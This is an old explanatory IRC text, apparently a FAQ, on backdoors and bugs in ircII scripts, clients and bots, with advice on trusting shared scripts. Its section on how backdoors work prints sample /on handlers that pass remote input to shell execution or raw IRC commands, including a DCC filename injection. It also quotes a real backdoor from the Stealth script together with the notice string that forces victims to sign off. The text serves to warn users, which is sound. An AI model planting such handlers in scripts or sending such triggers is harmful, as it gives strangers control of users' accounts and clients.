Bugs and Backdoors in IRC clients, scripts and bots

      ---------------------------------------------------
  1. What is a backdoor?

A backdoor is a feature of a program that can be used to make it act in

some way that the person who is running it did not intend.

Among IRC-related programs, bots, clients and scripts can have

backdoors.

An important point to note is that some backdoors are intentional and

some are not; with ircII scripts specifically, the problem is that

ircII is not a very clear programming language when it comes to

evaluation, and neither is sh/csh (used in all the /EXECs), and it’s

easy for someone who doesn’t really understand what he’s doing to put

unwanted backdoors. In clients and bots, which are usually written in

C, the bugs or backdoors tend to be harder to find and exploit.

The line between an unintended backdoor and a bug is rather thin, I’d

call it a backdoor if it can be used to make the bot do somethign

specific, and just a bug if it can be used only to make the client or

bot disconnect (ping timeout, or excess flood).

  1. How dangerous can a backdoor be?

A backdoor can be more or less “powerful”, according to how much

access to your client’s features and/or account it gives to an intruder.

In the worst cases, a backdoor will let an intruder execute arbitrary

commands on the machine your client or bot is running, allowing full

access to your account. This can in turn allow an intruder to compromise

your whole system’s security, by cracking passwords or otherwise. They

can also make you send mail, post to Usenet, etc. I will call this

giving Unix access.

In other cases, the backdoor will let the intruder control your IRC

client, making it do all IRC-related things like joining channels,

speaking in them, or signing off, or /killing if you’re an IRCop. I will

call this giving IRC access.

And in some cases, the backdoor will only let them do some specific

things. The most common case is when the backdoor only lets an intruder

disconnect you from IRC.

Typically, unintended backdoors and bugs will either give full Unix and

IRC access, or just let anyone kill the client.

  1. What known scripts, clients and bots have backdoors?

Off the top of my head (I’ve SEEN all of these, and some of them I’ve

found myself) :

This is by no means a comprehensive list; there are tons of scripts out

there and I don’t spend my time skimming them all. In particular I’ve

never looked closely at TextBox or LiCe, and I know of no-one who has,

so I wouldn’t trust them either.

  1. How does a backdoor work?

In ircII, backdoors are typically /on statements like these:

1 - /on ^ctcp “% % BACKDOOR *” $3-

2 - /on ^notice “% BACKDOOR *” $2-

3 - /on ^ctcp “% % BACKDOOR *” quote $3-

4 - /on ^ctcp “% % DCC SEND % *” exec -name stuff ls $5

5 - /on -notice “% STUFF*” eval ^assign blah $3-

1 and #2 are obviously intended, and give anyone IRC and Unix

(by sending EXEC commands) access.

3 is obviously intended too, and gives IRC access only.

4 looks like an unintended bug, but still gives full Unix access

to anyone (beware, this can be made safe by $strip()ing lots of

characters, but is a potentially dangerous thing to do. Did you

know that ^ is interpreted like | by SunOS /bin/sh’s?).

With #5, the problem is the eval, but once again, since ircII lets

you execute the contents of variables without an eval, looking for

all the evals and all the /on’s and all the /exec’s is not a safe

way to be sure a script is backdoor-free.

Finally, a real example of a backdoor, for the most skeptical; this

is taken straight out of the Stealth script:

alias qwrrw {

/echo [^BFate^B] You have been killed

/signoff I’m a dork, and I am sorry for disturbing you all. I’ll leave now}

on ^notice “% 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54” {/qwrrw}

So if someone is running Stealth, all you have to do is

/notice nickname 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54

and they signoff.

And I’d like to see anyone arguing that this was not intended…

  1. How can I avoid backdoors?

It all comes to a simple fact: IRC is full of people who cannot be

trusted, and running (/load’ing) a script (or a bot) that someone sent

you is akin to putting a lot of trust in this person, AND in all the

people who have had this script between the original author and whoever

sent it to you. You don’t only need to trust that the person doesn’t

mean to harm you, but also that the person can check and make sure

that they aren’t going to.

War scripts like Serpent and Phoenix and TextBox and LiCe are the least

trustable for a number of reasons:

The scripts I would personally trust:

zer0 - I’ve written it myself, so I know there are no backdoors,

  I'm reasonably sure there are no exploitable bugs, and


  it's small enough for anyone to check in a reasonable


  time.


  You can get it from


  http://www.eleves.ens.fr:8080/home/espel/index.html.

Deturbo - Written by DeadelviS.

SuperPak - Written by TG; get version 3.2, not Barron’s version

  (numbered 5.4).

All of these can be found in ftp://isr0954.urh.uiuc.edu/pub/irc/scripts


You can send any additional comments to:

orabidoo roger.espel.llima@ens.fr